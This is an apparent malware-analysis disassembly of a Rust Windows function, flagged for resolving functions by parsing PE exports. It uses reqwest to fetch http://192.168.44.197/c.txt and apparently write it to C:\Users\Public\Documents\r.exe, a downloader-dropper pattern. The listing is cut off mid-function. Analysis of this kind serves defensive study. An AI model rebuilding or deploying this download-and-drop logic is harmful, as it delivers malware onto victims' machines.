Function at 0x14000149c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xde8
movaps xmmword [rsp + 0xdd0], xmm6
movabs r14, 0x8000000000000000
lea rsi, [rsp + 0x920]
mov rcx, rsi
xor edx, edx
call sym.std::sys::pal::windows::fs::metadata::h6707ef74f0590a12
mov rdi, qword [rsi]
mov rsi, qword [rsi + 8]
cmp rdi, 2
jne 0x140001548
mov eax, esi
and eax, 3
cmp rax, 2
jb 0x1400015eb
cmp eax, 2
jne 0x1400015eb
mov rax, rsi
shr rax, 0x20
cmp eax, 0x780
jne 0x1400015eb
mov qword [rsp + 0x170], rsi
lea rcx, [rsp + 0x4b0]
mov edx, 0x200000
call sym.std::sys::pal::windows::fs::metadata::h6707ef74f0590a12
mov rdi, qword [rsp + 0x4b0]
cmp rdi, 2
jne 0x1400022fc
lea rcx, [rsp + 0x4b8]
call sym.core::ptr::drop_in_place_std::io::error::Error_::h3466fc80fe41233f
jmp 0x14000162b
movups xmm0, xmmword [rsp + 0x930]
movups xmm1, xmmword [rsp + 0x940]
movups xmm2, xmmword [rsp + 0x950]
movups xmm3, xmmword [rsp + 0x95c]
movups xmmword [rsp + 0xb8c], xmm3
movaps xmmword [rsp + 0xb80], xmm2
movaps xmmword [rsp + 0xb70], xmm1
movaps xmmword [rsp + 0xb60], xmm0
mov ebx, dword [rsp + 0x970]
mov qword [rsp + 0x2c0], rdi
mov qword [rsp + 0x2c8], rsi
movaps xmm0, xmmword [rsp + 0xb60]
movaps xmm1, xmmword [rsp + 0xb70]
movaps xmm2, xmmword [rsp + 0xb80]
movups xmmword [rsp + 0x2d0], xmm0
movups xmmword [rsp + 0x2e0], xmm1
movups xmmword [rsp + 0x2f0], xmm2
movups xmm0, xmmword [rsp + 0xb8c]
movups xmmword [rsp + 0x2fc], xmm0
mov dword [rsp + 0x310], ebx
jmp 0x140003af4
movups xmm0, xmmword [rsp + 0x930]
movups xmm1, xmmword [rsp + 0x940]
movups xmm2, xmmword [rsp + 0x950]
movups xmm3, xmmword [rsp + 0x95c]
movups xmmword [rsp + 0xb8c], xmm3
movaps xmmword [rsp + 0xb80], xmm2
movaps xmmword [rsp + 0xb70], xmm1
movaps xmmword [rsp + 0xb60], xmm0
lea rcx, [rsp + 0x2c8]
mov qword [rcx], rsi
mov qword [rcx - 8], 2
call sym.core::ptr::drop_in_place_std::io::error::Error_::h3c570bf81c87a7cf
lea rsi, [rsp + 0x4b0]
mov edx, 2
mov rcx, rsi
call sym.alloc::vec::from_elem::h36c2a4c9cc6354b1
mov rcx, rsi
call sym.alloc::vec::Vec_T_A_::into_boxed_slice::hc9c29b8db44d9036
mov rsi, rax
mov rdi, rdx
mov al, byte [0x140149110]
mov edx, 0xd0
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h1ca289f3d44bb24b
test rax, rax
je 0x140004185
xor ecx, ecx
mov qword [rsp + 0x4b0], rcx
mov qword [rsp + 0x4c8], 2
mov qword [rsp + 0x4d0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x4d8], xmm0
mov qword [rsp + 0x4e8], 8
mov qword [rsp + 0x4f0], rcx
mov qword [rsp + 0x4f8], rsi
mov qword [rsp + 0x500], rdi
mov word [rsp + 0x508], 1
lea rax, [0x14010a6de]
mov dl, byte [rcx + rax]
cmp dl, 9
je 0x1400016f3
add dl, 0xe0
cmp dl, 0x5f
jae 0x140004056
inc rcx
cmp rcx, 3
jne 0x1400016df
lea rcx, sym.bytes::bytes::static_clone::h2fa5b7df5657600b
lea r9, [rsp + 0x2c0]
mov qword [r9], rcx
mov qword [r9 + 8], rax
mov qword [r9 + 0x10], 3
mov qword [r9 + 0x18], 0
mov byte [r9 + 0x20], 0
xorps xmm6, xmm6
lea r8, [rsp + 0x50]
movaps xmmword [r8 + 0x10], xmm6
movaps xmmword [r8], xmm6
lea rsi, [rsp + 0x170]
lea rdx, [rsp + 0x4b0]
mov rcx, rsi
call sym.http::header::map::HeaderMap_T_::insert::h3a60bbbee5a4186e
cmp byte [rsi + 0x20], 2
je 0x14000176d
lea rcx, [rsp + 0x188]
mov rax, qword [rcx - 0x18]
mov rdx, qword [rcx - 0x10]
mov r8, qword [rcx - 8]
call qword [rax + 0x20]
lea rdi, [rsp + 0x920]
lea rbx, [rsp + 0x4b0]
mov ecx, 0xc
mov rsi, rbx
rep movsq qword [rdi], qword [rsi]
lea rcx, [sym.core::ops::function::FnOnce::call_once::h2a8d2044105a16c4]
call sym.std::thread::local::LocalKey_T_::with::h4755bca450773850
mov r15, rax
mov rdi, rdx
movups xmm0, xmmword [0x140112420]
movups xmmword [rsp + 0x2c4], xmm0
movups xmm0, xmmword [0x140112430]
movups xmmword [rsp + 0x2d4], xmm0
movaps xmmword [rsp + 0x200], xmm6
movups xmm0, xmmword [rsp + 0x2c0]
movaps xmmword [rsp + 0x420], xmm0
movups xmm0, xmmword [rsp + 0x2d0]
movaps xmmword [rsp + 0x430], xmm0
mov eax, dword [rsp + 0x2e0]
mov dword [rsp + 0x440], eax
movaps xmmword [rsp + 0x290], xmm6
xor ecx, ecx
call sym.tokio::sync::mpsc::block::Block_T_::new::h3b947c7da5a3b95c
mov rsi, rax
movups xmmword [rbx + 6], xmm6
mov rax, qword [rbx + 0xe]
mov qword [rsp + 0x2ce], rax
movups xmm0, xmmword [rbx]
movaps xmmword [rsp + 0x2c0], xmm0
mov al, byte [0x140149110]
mov edx, 0x280
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h1ca289f3d44bb24b
test rax, rax
je 0x140004194
mov r12, rax
and r12, 0xffffffffffffff80
mov qword [r12 + 0x78], rax
mov eax, 1
mov qword [r12 + 0x80], rax
mov qword [r12 + 0x88], rax
mov qword [r12 + 0x100], rsi
xor ecx, ecx
mov qword [r12 + 0x108], rcx
mov qword [r12 + 0x200], rcx
mov word [r12 + 0x208], 0
xorps xmm0, xmm0
movaps xmmword [r12 + 0x180], xmm0
mov qword [r12 + 0x190], rcx
movaps xmm0, xmmword [rsp + 0x2c0]
movups xmmword [r12 + 0x20a], xmm0
mov rdx, qword [rsp + 0x2ce]
mov qword [r12 + 0x218], rdx
mov qword [r12 + 0x220], rsi
mov qword [r12 + 0x228], rsi
mov qword [r12 + 0x230], rcx
mov byte [r12 + 0x238], 0
mov qword [r12 + 0x240], rcx
mov qword [r12 + 0x248], rax
mov qword [r12 + 0x250], rcx
lock inc qword [r12 + 0x80]
jle case.0x140002766.2
sub r12, 0xffffffffffffff80
mov qword [rsp + 0x278], r12
mov al, byte [0x140149110]
mov edx, 0x48
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h1ca289f3d44bb24b
test rax, rax
je 0x1400041a3
mov rbx, rax
mov eax, 1
mov qword [rbx], rax
mov qword [rbx + 8], rax
xor eax, eax
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x40], rax
lock inc qword [rbx]
jle case.0x140002766.2
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x418], rbx
mov al, byte [0x140149110]
mov edx, 0x1d
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h1ca289f3d44bb24b
test rax, rax
je 0x1400041b2
mov rbp, rax
movups xmm0, xmmword [0x14010daf5]
movups xmmword [rax + 0xd], xmm0
movups xmm0, xmmword [str.reqwest_internal_sync_runtime]
movups xmmword [rax], xmm0
lea rdi, [rsp + 0x4b0]
lea rsi, [rsp + 0x920]
mov ecx, 0xc
rep movsq qword [rdi], qword [rsi]
movaps xmm0, xmmword [rsp + 0x200]
movaps xmmword [rsp + 0x120], xmm0
mov rax, qword [rsp + 0x914]
mov qword [rsp + 0xb0], rax
mov eax, dword [rsp + 0x91c]
mov dword [rsp + 0xb8], eax
mov rax, qword [rsp + 0x908]
mov qword [rsp + 0xa0], rax
mov eax, dword [rsp + 0x910]
mov dword [rsp + 0xa8], eax
mov rax, qword [rsp + 0x8fc]
mov qword [rsp + 0x228], rax
mov eax, dword [rsp + 0x904]
mov dword [rsp + 0x230], eax
mov rax, qword [rsp + 0x8f0]
mov qword [rsp + 0x110], rax
mov eax, dword [rsp + 0x8f8]
mov dword [rsp + 0x118], eax
mov eax, dword [rsp + 0x8ec]
mov dword [rsp + 0x288], eax
mov rax, qword [rsp + 0x8e4]
mov qword [rsp + 0x280], rax
movaps xmm0, xmmword [rsp + 0x420]
movaps xmm1, xmmword [rsp + 0x430]
movaps xmmword [rsp + 0x2c0], xmm0
movaps xmmword [rsp + 0x2d0], xmm1
mov eax, dword [rsp + 0x440]
mov dword [rsp + 0x2e0], eax
movaps xmm0, xmmword [rsp + 0x290]
movaps xmmword [rsp + 0xf0], xmm0
movups xmm0, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x150], xmm0
movzx eax, word [rsp + 0x11d]
mov word [rsp + 0x4c], ax
mov al, byte [rsp + 0x11f]
mov byte [rsp + 0x4e], al
mov r13, qword [0x140149100]
test r13, r13
je 0x140001abb
dec r13
jmp 0x140001b54
lea rdx, str.RUST_MIN_STACK_root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_tokio_1.40.0_src_runtime_time_wheel_level.rs
lea rsi, [rsp + 0x170]
mov r8d, 0xe
mov rcx, rsi
call sym.std::env::_var_os::h6351d621e2f227eb
mov rsi, qword [rsi]
cmp rsi, r14
jne 0x140001ae8
mov r13d, 0x200000
jmp 0x140001b49
mov rdi, qword [rsp + 0x178]
mov r8, qword [rsp + 0x180]
lea r13, [rsp + 0x50]
mov rcx, r13
mov rdx, rdi
call sym.core::str::converts::from_utf8::h74ce16f25998d489
cmp qword [r13], 0
je 0x140001b17
mov r13d, 0x200000
jmp 0x140001b3e
lea r13, [rsp + 0x50]
mov rdx, qword [r13 + 8]
mov r8, qword [r13 + 0x10]
mov rcx, r13
call sym.core::num::__impl_core::str::traits::FromStr_for_usize_::from_str::hb3816f681eff1d2a
cmp byte [r13], 0
mov r13d, 0x200000
jne 0x140001b3e
mov r13, qword [rsp + 0x58]
mov rcx, rsi
mov rdx, rdi
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h0e933a1de88d33bc
lea rax, [r13 + 1]
mov qword [0x140149100], rax
mov eax, 0x1d
lea rcx, [rsp + 0x170]
mov qword [rcx], rax
mov qword [rcx + 8], rbp
mov qword [rcx + 0x10], rax
call sym.std::thread::Thread::new::h2776e2fbfb4e4490
lock inc qword [rax]
jle case.0x140002766.2
mov r14, rax
mov al, byte [0x140149110]
mov edx, 0x30
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h1ca289f3d44bb24b
test rax, rax
je 0x140004110
mov rsi, rax
mov eax, 1
mov qword [rsi], rax
mov qword [rsi + 8], rax
xorps xmm0, xmm0
movups xmmword [rsi + 0x10], xmm0
mov qword [rsp + 0x170], rsi
lock inc qword [rsi]
jle case.0x140002766.2
xor ecx, ecx
call sym.std::io::stdio::set_output_capture::h1d7d3d63fa152665
mov rdi, rax
test rax, rax
je 0x140001bdf
lock inc qword [rdi]
jle case.0x140002766.2
mov rcx, rdi
jmp 0x140001be1
xor ecx, ecx
call sym.std::io::stdio::set_output_capture::h1d7d3d63fa152665
mov qword [rsp + 0x30], r14
test rax, rax
je 0x140001bfe
lock dec qword [rax]
jne 0x140001bfe
mov rcx, rax
call sym.alloc::sync::Arc_T_A_::drop_slow::hccb3152beea4014a
mov qword [rsp + 0x80], r15
mov r14, qword [rsp + 0x170]
mov rcx, qword [r14 + 0x10]
test rcx, rcx
je 0x140001c22
lock inc qword [rcx + 0x18]
jle 0x1400042b5
mov al, byte [0x140149110]
xor r15d, r15d
mov edx, 0x1c0
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h1ca289f3d44bb24b
test rax, rax
je 0x1400041c1
mov rbp, qword [rsp + 0x30]
mov qword [rax], rbp
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rdi
mov rdi, rax
add rdi, 0x18
lea rsi, [rsp + 0x4b0]
mov ecx, 0xc
rep movsq qword [rdi], qword [rsi]
mov qword [rax + 0x78], 1
mov qword [rax + 0x80], 0xa
xorps xmm0, xmm0
movups xmmword [rax + 0x88], xmm0
mov ecx, 8
mov qword [rax + 0x98], rcx
movaps xmm0, xmmword [rsp + 0x120]
movups xmmword [rax + 0xa0], xmm0
mov qword [rax + 0xb0], rcx
mov qword [rax + 0xb8], r15
mov dword [rax + 0xc0], r15d
mov dword [rax + 0xc8], r15d
mov dword [rax + 0xd0], r15d
mov rcx, qword [rsp + 0xb0]
mov qword [rax + 0xd4], rcx
mov ecx, dword [rsp + 0xb8]
mov dword [rax + 0xdc], ecx
mov ecx, 0x3b9aca00
mov dword [rax + 0xe0], ecx
mov qword [rax + 0xe8], 0x5a
mov dword [rax + 0xf0], r15d
mov rdx, qword [rsp + 0xa0]
mov qword [rax + 0xf4], rdx
mov edx, dword [rsp + 0xa8]
mov dword [rax + 0xfc], edx
mov dword [rax + 0x100], ecx
mov edx, dword [rsp + 0x230]
mov dword [rax + 0x10c], edx
mov rdx, qword [rsp + 0x228]
mov qword [rax + 0x104], rdx
mov dword [rax + 0x110], ecx
mov edx, dword [rsp + 0x118]
mov dword [rax + 0x11c], edx
mov rdx, qword [rsp + 0x110]
mov qword [rax + 0x114], rdx
mov dword [rax + 0x120], ecx
mov edx, dword [rsp + 0x288]
mov dword [rax + 0x12c], edx
mov rdx, qword [rsp + 0x280]
mov qword [rax + 0x124], rdx
mov dword [rax + 0x130], ecx
mov ecx, dword [rsp + 0x2e0]
mov dword [rax + 0x154], ecx
movaps xmm0, xmmword [rsp + 0x2c0]
movaps xmm1, xmmword [rsp + 0x2d0]
movups xmmword [rax + 0x144], xmm1
movups xmmword [rax + 0x134], xmm0
mov rcx, qword [rsp + 0x80]
mov qword [rax + 0x158], rcx
mov rcx, qword [rsp + 0x28]
mov qword [rax + 0x160], rcx
mov qword [rax + 0x168], 0xffffffffffffffff
movaps xmm0, xmmword [rsp + 0xf0]
movups xmmword [rax + 0x170], xmm0
mov dword [rax + 0x188], 0x1000101
mov word [rax + 0x18c], 0x101
mov qword [rax + 0x18e], r15
mov dword [rax + 0x196], 0x2000001
mov byte [rax + 0x19a], 2
movaps xmm0, xmmword [rsp + 0x150]
movups xmmword [rax + 0x19b], xmm0
mov word [rax + 0x1ab], 0x404
mov cl, byte [rsp + 0x4e]
mov byte [rax + 0x1af], cl
movzx ecx, word [rsp + 0x4c]
mov word [rax + 0x1ad], cx
mov qword [rax + 0x1b0], r12
mov qword [rax + 0x1b8], rbx
lea r8, sym._ZN4core3ptr180drop_in_place_LT_std..thread..Builder..spawn_unchecked__LT_reqwest..blocking..client..ClientHandle..new.._u7b__
mov rcx, r13
mov rdx, rax
call sym.std::sys::pal::windows::thread::Thread::new::h5ebcdcde4d0c0238
mov rsi, rdx
test rax, rax
jne 0x1400041d0
mov qword [rsp + 0x238], rbp
mov qword [rsp + 0x240], r14
mov qword [rsp + 0x248], rsi
call sym.std::thread::current::h64ce1004ddb533b7
mov rdi, rax
mov al, byte [0x140149110]
mov edx, 0x18
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h1ca289f3d44bb24b
test rax, rax
je 0x140004101
lea rsi, [rsp + 0x240]
mov ecx, 1
mov qword [rax], rcx
mov qword [rax + 8], rcx
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], rdi
lea r12, sym.futures_task::waker::clone_arc_raw::h095ab240c3c4bc9f
lea rax, [rsp + 0x2c0]
mov qword [rax], r12
mov qword [rax + 8], rcx
mov qword [rsp + 0x170], rbx
test rbx, rbx
je 0x140004066
lea rcx, [rsp + 0x2c0]
call sym.tokio::runtime::context::budget::h4842255ec75d0f67
mov edi, eax
cmp dil, 2
jne 0x140001f04
xor ebp, ebp
xor edi, edi
jmp 0x140001f16
test dil, 1
jne 0x140001fbc
mov ebp, edi
shr ebp, 8
shr edi, 0x10
mov rax, qword [rbx + 0x40]
test al, 2
jne 0x140001fd4
test al, 4
jne 0x14000409b
test al, 1
je 0x140001f4a
mov rcx, qword [rbx + 0x38]
cmp rcx, qword [rsp + 0x2c8]
jne 0x140001f50
mov rcx, qword [rsp + 0x2c0]
cmp qword [rbx + 0x30], rcx
jne 0x140001f50
test al, 1
je 0x140001f72
jmp 0x140001fa3
mov rax, qword [rbx + 0x40]
mov rcx, rax
and rcx, 0xfffffffffffffffe
lock cmpxchg qword [rbx + 0x40], rcx
jne 0x140001f54
test al, 2
jne 0x140001fce
mov rax, qword [rbx + 0x30]
mov rcx, qword [rbx + 0x38]
call qword [rax + 0x18]
mov rax, qword [rsp + 0x2c0]
mov rcx, qword [rsp + 0x2c8]
call qword [rax]
mov qword [rbx + 0x30], rax
mov qword [rbx + 0x38], rdx
mov rax, qword [rbx + 0x40]
mov rcx, rax
or rcx, 1
lock cmpxchg qword [rbx + 0x40], rcx
jne 0x140001f90
test al, 2
jne 0x140001fd4
test bpl, bpl
je 0x140001fbc
xor ecx, ecx
call sym.tokio::runtime::context::CONTEXT::__u7b__u7b_closure_u7d__u7d_::h944b8c1ecc87a8d9
test rax, rax
je 0x140001fbc
mov byte [rax + 0x3c], 1
mov byte [rax + 0x3d], dil
call sym.std::thread::park::h64f33ae76178c4e5
mov rbx, qword [rsp + 0x170]
jmp 0x140001ee0
lock or qword [rbx + 0x40], 1
mov rax, qword [rbx + 0x10]
mov r15, qword [rbx + 0x18]
mov qword [rbx + 0x10], 0
xor rax, 1
test rax, rax
jne 0x14000409b
mov rax, qword [rsp + 0x170]
test rax, rax
je 0x140002011
lock dec qword [rax]
jne 0x140002011
mov rcx, qword [rsp + 0x170]
call sym.alloc::sync::Arc_T_A_::drop_slow::hb8e9b2352918ee58
lea rcx, [rsp + 0x170]
mov qword [rcx], 0
call sym._ZN4core3ptr119drop_in_place_LT_tokio..sync..oneshot..Receiver_LT_core..result..Result_LT__LP__RP__C_reqwest..error..Error_GT_
mov rax, qword [rsp + 0x2c0]
mov rcx, qword [rsp + 0x2c8]
call qword [rax + 0x18]
test r15, r15
jne 0x140004214
mov rsi, qword [rsp + 0x278]
mov al, byte [0x140149110]
mov edx, 0x30
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h1ca289f3d44bb24b
test rax, rax
je 0x140004110
mov r13, rax
mov eax, 1
mov qword [r13], rax
mov qword [r13 + 8], rax
mov qword [r13 + 0x10], rsi
mov rax, qword [rsp + 0x248]
mov qword [r13 + 0x28], rax
movups xmm0, xmmword [rsp + 0x238]
movups xmmword [r13 + 0x18], xmm0
mov qword [rsp + 0x2a8], r13
mov qword [rsp + 0x2b0], 0x1e
mov dword [rsp + 0x2b8], 0
lea rdx, [0x1400ded07]
lea rsi, [rsp + 0x920]
mov r8d, 0x1b
mov rcx, rsi
call sym.__str_as_reqwest::into_url::IntoUrlSealed_::into_url::hb0de157b360c27d7
mov rdi, qword [rsi]
movabs r15, 0x8000000000000000
cmp rdi, r15
jne 0x1400020ee
mov eax, 2
mov rcx, qword [rsp + 0x928]
jmp 0x140002139
xorps xmm0, xmm0
movaps xmmword [rsp + 0xc0], xmm0
movaps xmmword [rsp + 0xb0], xmm0
lea rcx, [rsp + 0x4b6]
lea rdx, [rsp + 0x920]
mov r8d, 0x58
call sym.memcpy
lea rcx, [rsp + 0x170]
lea rdx, [rsp + 0x4b0]
mov r8d, 0x5e
call sym.memcpy
xor eax, eax
lock inc qword [r13]
jle case.0x140002766.2
lea rsi, [rsp + 0x342]
mov qword [rsi + 0xb6], r13
mov qword [rsi + 0xbe], 0x1e
xor ebx, ebx
mov dword [rsi + 0xc6], ebx
mov qword [rsi - 0x82], rax
mov qword [rsi - 0x7a], rcx
mov qword [rsi - 0x5a], rbx
mov qword [rsi - 0x42], rbx
mov eax, 8
mov qword [rsi - 0x3a], rax
movaps xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsi - 0x32], xmm0
mov qword [rsi - 0x22], rax
mov qword [rsi - 0x1a], rbx
mov r14d, 2
mov qword [rsi - 0x12], r14
mov qword [rsi - 0xa], rbx
mov word [rsi - 2], 0
lea rdx, [rsp + 0x170]
mov r8d, 0x5e
mov rcx, rsi
call sym.memcpy
mov dword [rsi + 0x66], 0x3b9aca00
mov byte [rsi + 0x6e], 1
mov dword [rsi + 0x6f], ebx
mov dword [rsi + 0x72], ebx
movaps xmm0, xmmword [rsp + 0xb0]
movups xmmword [rsi + 0x76], xmm0
mov byte [rsi + 0x86], 2
mov qword [rsi + 0x8e], r14
cmp rdi, r15
mov qword [rsp + 0x80], r13
je 0x140002465
mov r8d, dword [rsp + 0x374]
mov rcx, qword [rsp + 0x350]
mov rdx, qword [rsp + 0x358]
test r8, r8
je 0x14000223b
cmp rdx, r8
jbe 0x140002239
cmp byte [rcx + r8], 0xbf
jg 0x14000223b
lea rax, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_url_2.5.2_src_lib.rs
mov qword [rsp + 0x20], rax
mov r9, rdx
call sym.core::str::slice_error_fail::h472e6b8eeaf3c120
jne 0x140002225
sub rdx, r8
cmp rdx, 3
jb 0x140002465
movzx eax, word [rcx + r8]
xor eax, 0x2f3a
movzx ecx, byte [rcx + r8 + 2]
xor ecx, 0x2f
or cx, ax
jne 0x140002465
lea rbx, [rsp + 0x348]
mov rcx, rbx
call sym.url::Url::username::h9fa120bcd03c4b69
lea r8, [rdx + rax]
lea rsi, [rsp + 0x4b0]
mov rcx, rsi
mov rdx, rax
call sym.percent_encoding::PercentDecode::decode_utf8::hf348844151f6b12d
mov rax, qword [rsi]
lea r14, [r15 + 1]
cmp rax, r14
je 0x140002465
movups xmm0, xmmword [rsp + 0x4b8]
lea rdx, [rsp + 0x50]
movups xmmword [rdx + 8], xmm0
mov qword [rdx], rax
lea rsi, [rsp + 0x120]
mov rcx, rsi
call sym._ZN98__LT_alloc..string..String_u20_as_u20_core..convert..From_LT_alloc..borrow..Cow_LT_str_GT__GT__GT_4from17h258f9e748a87860
mov rcx, rbx
call sym.url::Url::password::ha431df25e529ac56
test rax, rax
je 0x140002375
mov r8, rdx
add r8, rax
lea rdi, [rsp + 0x4b0]
mov rcx, rdi
mov rdx, rax
call sym.percent_encoding::PercentDecode::decode_utf8::hf348844151f6b12d
cmp qword [rdi], r14
jne 0x140002389
mov al, 1
mov rdi, r15
jmp 0x1400023d9
mov ebx, dword [rsp + 0x500]
bt dword [rsp + 0x4fc], 0xa
jae 0x14000231b
mov eax, ebx
and eax, 0x20000000
jne 0x14000162b
mov rsi, qword [rsp + 0x4b8]
movups xmm0, xmmword [rsp + 0x4c0]
movaps xmmword [rsp + 0xb60], xmm0
movups xmm0, xmmword [rsp + 0x4d0]
movaps xmmword [rsp + 0xb70], xmm0
movups xmm0, xmmword [rsp + 0x4e0]
movaps xmmword [rsp + 0xb80], xmm0
movups xmm0, xmmword [rsp + 0x4ec]
movups xmmword [rsp + 0xb8c], xmm0
lea rcx, [rsp + 0x170]
call sym.core::ptr::drop_in_place_std::io::error::Error_::h3466fc80fe41233f
jmp 0x14000158f
cmp qword [rsp + 0x130], 0
mov rdi, r15
jne 0x140002414
jmp 0x1400023fd
movups xmm0, xmmword [rsp + 0x4b0]
movaps xmmword [rsp + 0x920], xmm0
mov rax, qword [rsp + 0x4c0]
mov qword [rsp + 0x930], rax
mov al, 1
mov rdi, r15
cmp qword [rsp + 0x920], r14
je 0x1400023d9
lea rdi, [rsp + 0x420]
lea rdx, [rsp + 0x920]
mov rcx, rdi
call sym._ZN98__LT_alloc..string..String_u20_as_u20_core..convert..From_LT_alloc..borrow..Cow_LT_str_GT__GT__GT_4from17h258f9e748a87860
mov rdi, qword [rdi]
cmp rdi, r15
sete al
cmp qword [rsp + 0x130], 0
jne 0x140002414
test al, al
je 0x140002414
cmp rdi, r15
je 0x1400023fd
mov rdx, qword [rsp + 0x428]
mov rcx, rdi
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h0e933a1de88d33bc
mov rcx, qword [rsp + 0x120]
mov rdx, qword [rsp + 0x128]
call sym.__alloc::raw_vec::RawVec_T_A__as_core::ops::drop::Drop_::drop::h0e933a1de88d33bc
jmp 0x140002465
mov rcx, rbx
call sym.url::Url::set_username::hd34034c342657d59
test al, al
jne 0x140004475
mov rcx, rbx
call sym.url::Url::set_password::h4310acaa2667b2e3
test al, al
jne 0x14000448a
mov rax, qword [rsp + 0x120]
movups xmm0, xmmword [rsp + 0x128]
movaps xmmword [rsp + 0x290], xmm0
movups xmm0, xmmword [rsp + 0x428]
movaps xmmword [rsp + 0xb50], xmm0
cmp rax, r15
jne 0x140003ca7
lea rcx, [rsp + 0xb60]
lea rdx, [rsp + 0x2c0]
mov r8d, 0x150
call sym.memcpy
mov r13, qword [rsp + 0xb60]
mov r15, qword [rsp + 0xb68]
cmp r13, 2
jne 0x1400025af
mov rax, qword [rsp + 0xc98]
lock dec qword [rax]
mov r13d, 3
jne 0x1400024bb
lea rcx, [rsp + 0xc98]
call sym.alloc::sync::Arc_T_A_::drop_slow::he3455d01cc35036b
mov rax, qword [rsp + 0x80]
lock dec qword [rax]
jne 0x1400024d6
lea rcx, [rsp + 0x2a8]
call sym.alloc::sync::Arc_T_A_::drop_slow::he3455d01cc35036b
cmp r13d, 3
je 0x14000425f
lea rsi, [rsp + 0xd20]
mov qword [rsi - 0x10], r13
mov qword [rsi - 8], r15
lea rdi, [rsp + 0x4b0]
mov r8d, 0x88
mov rcx, rsi
mov rdx, rdi
call sym.memcpy
mov qword [rsi + 0x88], rbp
mov dword [rsi + 0x90], ebx
xor eax, eax
mov qword [rsi + 0x98], rax
mov rcx, qword [rsp + 0x30]
mov qword [rsi + 0xa8], rcx
mov dword [rdi], 0
xorps xmm0, xmm0
movups xmmword [rdi + 8], xmm0
mov dword [rdi + 0x18], 7
mov qword [rdi + 0x1c], rax
mov word [rdi + 0x24], 0
mov al, 1
mov byte [rdi + 0x21], al
mov byte [rdi + 0x24], al
mov byte [rdi + 0x23], al
lea rcx, str.C:UsersPublicDocuments_r.exehttp:__192.168.44.197_c.txtsrc_main.rs
lea r8, [rsp + 0x4b0]
mov edx, 0x1f
call sym.std::sys::pal::windows::fs::File::open::hc26adf99dd0cd861
mov qword [rsp + 0x80], rdx
test rax, rax
jne 0x140004273
lea rcx, [rsp + 0x920]
lea rdx, [rsp + 0xd10]
mov r8d, 0x98
call sym.memcpy
cmp ebx, 0x3b9aca00
jne 0x14000267e
mov ebx, 0x3b9aca00
jmp 0x140002698
mov rbx, qword [rsp + 0xc70]
mov rax, qword [rsp + 0xc78]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xc80]
mov qword [rsp + 0x30], rax
mov rdi, qword [rsp + 0xc88]
mov r14, qword [rsp + 0xc90]
mov al, byte [0x140149110]
mov edx, 0xd0
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h1ca289f3d44bb24b
test rax, rax
je 0x1400042be
mov rsi, rax
mov eax, 1
mov qword [rsi], rax
mov qword [rsi + 8], rax
mov qword [rsi + 0x30], 0
mov qword [rsi + 0x38], 4
lock inc qword [rsi]
jle case.0x140002766.2
lea rdx, [rsp + 0xb70]
lea r12, [rsp + 0x4b8]
mov qword [r12 - 8], r13
mov qword [r12], r15
lea rcx, [rsp + 0x4c0]
mov r8d, 0x100
call sym.memcpy
cmp rbx, 2
mov qword [rsp + 0x268], rsi
mov qword [rsp + 0x88], r14
jne 0x140002cb6
mov qword [rsp + 0x270], r13
mov r14d, 2
jmp 0x140003065
call sym.std::time::Instant::now::hb71b62803ac17da1
mov rcx, rax
mov r8, rbp
mov r9d, ebx
call sym.__std::time::Instant_as_core::ops::arith::Add_core::time::Duration__::add::h1c469e686b0a1e06
mov qword [rsp + 0x28], rax
mov ebx, edx
call sym.std::thread::current::h64ce1004ddb533b7
mov rsi, rax
mov al, byte [0x140149110]
mov edx, 0x18
xor ecx, ecx
call sym.std::sys::pal::windows::alloc::process_heap_alloc::h1ca289f3d44bb24b
test rax, rax
je 0x140004101
mov ecx, 1
mov qword [rax], rcx
mov qword [rax + 8], rcx
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], rsi
lea rax, [rsp + 0x2a8]
mov qword [rax], r12
mov qword [rax + 8], rcx
lea r14, [rsp + 0x120]
mov qword [r14], rax
mov qword [r14 + 8], rax
mov qword [r14 + 0x10], 0
lea r12, [rsp + 0x4b0]
lea rdx, [rsp + 0x920]
mov r8d, 0x1e0
mov rcx, r12
call sym.memcpy
mov byte [r12 + 0x1e0], 0
lea rbp, [rsp + 0x600]
lea r13, [rsp + 0x640]
lea r15, [rsp + 0x650]
xor eax, eax
mov qword [rsp + 0x40], rax
xor eax, eax
test al, al
je 0x140002778
movzx eax, al
cmp eax, 3
jne case.default.0x140002766
movzx eax, byte [rsp + 0x649]
lea rcx, [0x1400db014]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rsp + 0x650]
mov rdx, qword [rax]
jmp 0x140002820
mov r8d, 0x98
lea rcx, [rsp + 0x548]
mov rdx, r12
call sym.memcpy
mov r8d, 0x90
lea rsi, [rsp + 0x2c0]
mov rcx, rsi
mov rdx, r12
call sym.memcpy
lea rax, [rsp + 0x330]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0xb60], xmm0
movaps xmmword [rsp + 0xb70], xmm1
mov rcx, rsi
call sym.core::ptr::drop_in_place_http::response::Parts_::hddcec23a95920c3b
mov ecx, 0xd
lea rdi, [rsp + 0x5e0]
lea rsi, [rsp + 0xb60]
